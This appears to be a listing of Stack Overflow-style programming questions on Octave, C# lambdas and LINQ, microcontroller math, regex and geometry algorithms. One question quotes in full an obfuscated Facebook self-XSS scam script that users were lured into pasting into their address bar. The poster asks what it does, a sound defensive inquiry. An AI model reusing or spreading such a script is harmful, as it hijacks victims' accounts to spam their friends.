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  • What's the fastest way to approximate the period of data using Octave?

    - by John
    I have a set of data that is periodic (but not sinusoidal). I have a set of time values in one vector and a set of amplitudes in a second vector. I'd like to quickly approximate the period of the function. Any suggestions? Specifically, here's my current code. I'd like to approximate the period of the vector x(:,2) against the vector t. Ultimately, I'd like to do this for lots of initial conditions and calculate the period of each and plot the result. function xdot = f (x,t) xdot(1) =x(2); xdot(2) =-sin(x(1)); endfunction x0=[1;1.75]; #eventually, I'd like to try lots of values for x0(2) t = linspace (0, 50, 200); x = lsode ("f", x0, t) plot(x(:,1),x(:,2)); Thank you! John

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  • Efficient implementation of natural logarithm (ln) and exponentiation

    - by Donotalo
    Basically, I'm looking for implementation of log() and exp() functions provided in C library <math.h>. I'm working with 8 bit microcontrollers (OKI 411 and 431). I need to calculate Mean Kinetic Temperature. The requirement is that we should be able to calculate MKT as fast as possible and with as little code memory as possible. The compiler comes with log() and exp() functions in <math.h>. But calling either function and linking with the library causes the code size to increase by 5 Kilobytes, which will not fit in one of the micro we work with (OKI 411), because our code already consumed ~12K of available ~15K code memory. The implementation I'm looking for should not use any other C library functions (like pow(), sqrt() etc). This is because all library functions are packed in one library and even if one function is called, the linker will bring whole 5K library to code memory.

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  • optimized grid for rectangular items

    - by peterchen
    I have N rectangular items with an aspect ratio Aitem (X:Y). I have a rectangular display area with an aspect ratio Aview The items should be arranged in a table-like layout (i.e. r rows, c columns). what is the ideal grid rows x columns, so that individual items are largest? (rows * colums = N, of course - i.e. there may be "unused" grid places). A simple algorithm could iterate over rows = 1..N, calculate the required number of columns, and keep the row/column pair with the largest items. I wonder if there's a non-iterative algorithm, though (e.g. for Aitem = Aview = 1, rows / cols can be approximated by sqrt(N)).

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  • Examining a lambda expression at runtime in C#

    - by Ben Aston
    I have a method Get on a type MyType1 accepting a Func<MyType2, bool> as a parameter. An example of its use: mytype1Instance.Get(x => x.Guid == guid)); I would like create a stub implementation of the method Get that examines the incoming lambda expression and determines what the value of guid is. Clearly the lambda could be "anything", but I'm happy for the stub to make an assumption about the lambda, that it is trying to match on the Guid property. How can I do this? I suspect it involves the use of the built-in Expression type?

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  • Create lambda action from function expression

    - by Martin Robins
    It is relatively easy to create a lambda function that will return the value of a property from an object, even including deep properties... Func<Category, string> getCategoryName = new Func<Category, string>(c => c.Name); and this can be called as follows... string categoryName = getCategoryName(this.category); But, given only the resulting function above (or the expression originally used to create the function), can anybody provide an easy way to create the opposing action... Action<Category, string> setCategoryName = new Action<Category, string>((c, s) => c.Name = s); ...that will enable the same property value to be set as follows? setCategoryName(this.category, ""); Note that I am looking for a way to create the action programatically from the function or expression - I hope that I have shown that I already know how to create it manually. I am open to answers that work in both .net 3.5 and 4.0. Thanks.

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  • Strange LINQ to SQL Behavior

    - by mcass20
    What is wrong with the last query? Is it a bug or am I missing something? This query returns 2 records (correct): query = query.Where(Log => SqlMethods.Like(Log.FormattedMessage, "%<key>Name</key><value>David</value>%")); This query returns 2 records (correct): query = query.Where(Log => SqlMethods.Like(Log.FormattedMessage, "%<key>Name</key><value>%David%</value>%")); This query returns 0 records (correct): query = query.Where(Log => SqlMethods.Like(Log.FormattedMessage, "%<key>Name</key><value>av</value>%")); This query returns 2 records (correct): query = query.Where(Log => SqlMethods.Like(Log.FormattedMessage, "%<key>Name</key><value>%av%</value>%")); This query returns 0 records (correct): query = query.Where(Log => SqlMethods.Like(Log.FormattedMessage, "%<key>Name</key><value>v</value>%")); This query returns 15 records (incorrect, should return 2): query = query.Where(Log => SqlMethods.Like(Log.FormattedMessage, "%<key>Name</key><value>%v%</value>%"));

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  • How computer multiplies 2 numbers?

    - by ckv
    How does a computer perform a multiplication on 2 numbers say 100 * 55. My guess was that the computer did repeated addition to achieve multiplication. Of course this could be the case for integer numbers. However for floating point numbers there must be some other logic. Note: This was asked in an interview.

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  • Linq - reuse expression on child property

    - by user175528
    Not sure if what I am trying is possible or not, but I'd like to reuse a linq expression on an objects parent property. With the given classes: class Parent { int Id { get; set; } IList<Child> Children { get; set; } string Name { get; set; } } class Child{ int Id { get; set; } Parent Dad { get; set; } string Name { get; set; } } If i then have a helper Expression<Func<Parent,bool> ParentQuery() { Expression<Func<Parent,bool> q = p => p.Name=="foo"; } I then want to use this when querying data out for a child, along the lines of: using(var context=new Entities.Context) { var data=context.Child.Where(c => c.Name=="bar" && c.Dad.Where(ParentQuery)); } I know I can do that on child collections: using(var context=new Entities.Context) { var data=context.Parent.Where(p => p.Name=="foo" && p.Childen.Where(childQuery)); } but cant see any way to do this on a property that isnt a collection. This is just a simplified example, actually the ParentQuery will be more complex and I want to avoid having this repeated in multiple places as rather than just having 2 layers I'll have closer to 5 or 6, but all of them will need to reference the parent query to ensure security.

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  • How to pass data to a C++0x lambda function that will run in a different thread?

    - by Dimitri C.
    In our company we've written a library function to call a function asynchronously in a separate thread. It works using a combination of inheritance and template magic. The client code looks as follows: DemoThread thread; std::string stringToPassByValue = "The string to pass by value"; AsyncCall(thread, &DemoThread::SomeFunction, stringToPassByValue); Since the introduction of lambda functions I'd like to use it in combination with lambda functions. I'd like to write the following client code: DemoThread thread; std::string stringToPassByValue = "The string to pass by value"; AsyncCall(thread, [=]() { const std::string someCopy = stringToPassByValue; }); Now, with the Visual C++ 2010 this code doesn't work. What happens is that the stringToPassByValue is not copied. Instead the "capture by value" feature passes the data by reference. The result is that if the function is executed after stringToPassByValue has gone out of scope, the application crashes as its destructor is called already. So I wonder: is it possible to pass data to a lambda function as a copy? Note: One possible solution would be to modify our framework to pass the data in the lambda parameter declaration list, as follows: DemoThread thread; std::string stringToPassByValue = "The string to pass by value"; AsyncCall(thread, [=](const std::string stringPassedByValue) { const std::string someCopy = stringPassedByValue; } , stringToPassByValue); However, this solution is so verbose that our original function pointer solution is both shorter and easier to read. Update: The full implementation of AsyncCall is too big to post here. In short, what happens is that the AsyncCall template function instantiates a template class holding the lambda function. This class is derived from a base class that contains a virtual Execute() function, and upon an AsyncCall() call, the function call class is put on a call queue. A different thread then executes the queued calls by calling the virtual Execute() function, which is polymorphically dispatched to the template class which then executes the lambda function.

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  • How to pass a Lambda Expression as method parameter with EF

    - by Registered User
    How do I pass an EF expression as a method argument? To illustrate my question I have created a pseudo code example: The first example is my method today. The example utilizes EF and a Fancy Retry Logic. What I need to do is to encapsulate the Fancy Retry Logic so that it becomes more generic and does not duplicate. In the second example is how I want it to be, with a helper method that accepts the EF expression as an argument. This would be a trivial thing to do with SQL, but I want to do it with EF so that I can benefit from the strongly typed objects. First Example: public static User GetUser(String userEmail) { using (MyEntities dataModel = new MyEntities ()) { var query = FancyRetryLogic(() => { (dataModel.Users.FirstOrDefault<User>(x => x.UserEmail == userEmail))); }); return query; } } Second Example: T RetryHelper<T>(Expression<Func<T, TValue>> expression) { using (MyEntities dataModel = new (MyEntities ()) { var query = FancyRetryLogic(() => { return dataModel.expression }); } } public User GetUser(String userEmail) { return RetryHelper<User>(<User>.FirstOrDefault<User>(x => x.UserEmail == userEmail)) }

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  • Filtering two arrays to avoid Inf/NaN values

    - by Gacek
    I have two arrays of doubles of the same size, containg X and Y values for some plots. I need to create some kind of protection against Inf/NaN values. I need to find all that pairs of values (X, Y) for which both, X and Y are not Inf nor NaN If I have one array, I can do it using lambdas: var filteredValues = someValues.Where(d=> !(double.IsNaN(d) || double.IsInfinity(d))).ToList(); Now, for two arrays I use following loop: List<double> filteredX=new List<double>(); List<double> filteredX=new List<double>(); for(int i=0;i<XValues.Count;i++) { if(!double.IsNan(XValues[i]) && !double.IsInfinity(XValues[i]) && !double.IsNan(YValues[i]) && !double.IsInfinity(YValues[i]) ) { filteredX.Add(XValues[i]); filteredY.Add(YValues[i]); } } Is there any way of filtering two arrays at the same time using LINQ/Lambdas, as it was done for single array?

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  • Using a linq or lambda expression in C# return a collection plus a single value

    - by ahsteele
    I'd like to return a collection plus a single value. Presently I am using a field to create a new list adding a value to the list and then returning the result. Is there a way to do this with a linq or lambda expression? private List<ChargeDetail> _chargeBreakdown = new List<ChargeDetail>(); public ChargeDetail PrimaryChargeDetail { get; set; } public List<ChargeDetail> ChargeBreakdown { get { List<ChargeDetail> result = new List<ChargeDetail>(_chargeBreakdown); result.Add(PrimaryChargeDetail); return result; } }

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  • What exactly does this piece of JavaScript do?

    - by helpmarnie
    I saw this page growing in popularity among my social circles on Facebook, what 98 percent bla bla... and it walks users through copying the below JavaScript (I added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. Simply put, what does this do? javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))})();

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  • Find everthing that is not between specific tags

    - by murze
    Hi, i'm using preg_match_all('/<?(.*)?>/', $bigString, $matches, PREG_OFFSET_CAPTURE); to find the contents of everthing between '' Now I'd like to find everthing that is NOT between '' I'm trying with preg_match_all('/^(<?(.*)?>)/', $bigString, $nonmatches, PREG_OFFSET_CAPTURE); but that doesn't seem to work... How can i find everthing that is not between '' ?

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  • Adding LambaExpression to an instance of IQueryable

    - by Paul Knopf
    ParameterExpression parameter = Expression.Parameter(typeof(Product), "x"); MemberExpression Left = Expression.MakeMemberAccess(parameter, typeof(Product).GetProperty("Name")); ConstantExpression Right = Expression.Constant(value, typeof(String)); BinaryExpression expression = Expression.Equal(Left, Right); LambdaExpression lambada = Expression.Lambda<Func<Product, bool>>(expression, parameter); Now how do I add this lambada to an instance of an IQuerybale, lets say _query _query.Where(lambada.Compile());?

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  • Using a message class static method taking in an action to wrap Try/Catch

    - by Chris Marisic
    I have a Result object that lets me pass around a List of event messages and I can check whether an action was successful or not. I've realized I've written this code in alot of places Result result; try { //Do Something ... //New result is automatically a success for not having any errors in it result = new Result(); } catch (Exception exception) { //Extension method that returns a Result from the exception result = exception.ToResult(); } if(result.Success) .... What I'm considering is replacing this usage with public static Result CatchException(Action action) { try { action(); return new Result(); } catch (Exception exception) { return exception.ToResult(); } } And then use it like var result = Result.CatchException(() => _model.Save(something)); Does anyone feel there's anything wrong with this or that I'm trading reusability for obscurity?

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  • C++ Expression Templates

    - by yCalleecharan
    Hi, I currently use C for numerical computations. I've heard that using C++ Expression Templates is better for scientific computing. What are C++ Expression Templates in simple terms? Are there books around that discuss numerical methods/computations using C++ Expression Templates? In what way, C++ Expression Templates are better than using pure C? Thanks a lot

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  • Merging and splitting overlapping rectangles to produce non-overlapping ones

    - by uj
    I am looking for an algorithm as follows: Given a set of possibly overlapping rectangles (All of which are "not rotated", can be uniformly represented as (left,top,right,bottom) tuplets, etc...), it returns a minimal set of (non-rotated) non-overlapping rectangles, that occupy the same area. It seems simple enough at first glance, but prooves to be tricky (at least to be done efficiently). Are there some known methods for this/ideas/pointers? Methods for not necessarily minimal, but heuristicly small, sets, are interesting as well, so are methods that produce any valid output set at all.

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  • How to write this in better way?

    - by dario
    Hi all. Let's look at this code: IList<IHouseAnnouncement> list = new List<IHouseAnnouncement>(); var table = adapter.GetData(); //get data from repository object -> DataTable if (table.Rows.Count >= 1) { for (int i = 0; i < table.Rows.Count-1; i++) { var anno = new HouseAnnouncement(); anno.Area = float.Parse(table.Rows[i][table.powierzchniaColumn].ToString()); anno.City = table.Rows[i][table.miastoColumn].ToString(); list.Add(anno); } } return list; Is it better way to write this in less code and better fashion (must be :-) )? Maybe using labda (but let mi know how)? Thanks in advance!

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  • negative look ahead to exclude html tags

    - by Remoh
    I'm trying to come up with a validation expression to prevent users from entering html or javascript tags into a comment box on a web page. The following works fine for a single line of text: ^(?!.(<|)).$ ..but it won't allow any newline characters because of the dot(.). If I go with something like this: ^(?!.(<|))(.|\s)$ it will allow multiple lines but the expression only matches '<' and '' on the first line. I need it to match any line. This works fine: ^[-_\s\d\w"'.,:;#/&\$\%\?!@+*\()]{0,4000}$ but it's ugly and I'm concerned that it's going to break for some users because it's a multi-lingual application. Any ideas? Thanks!

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  • Getting confused why i dont get expected amount ?

    - by Stackfan
    I have 1 result and which i will receive in Bank account, Based on that account i have to Put a balance to user account. How can you find the Handling cost from total tried 491.50 / 0.95 = 517.36 which is wrong ? It should be 500.00 (to my expectation) User balance requires 500.00 When 500.00 selected he gets 5% discount There is a handling cost for this ex: 1) Discount: 500.00 - 5% = 475.00 2) Handling cost: (475.00 x 0.034) + 0.35 = 16.50 3) Total: 475.00 + 16.50 = 491.50 So problem is from 491.50, i have to find atleast handling cost to get promised Balance. Any solution ? Cant figure it out myself...

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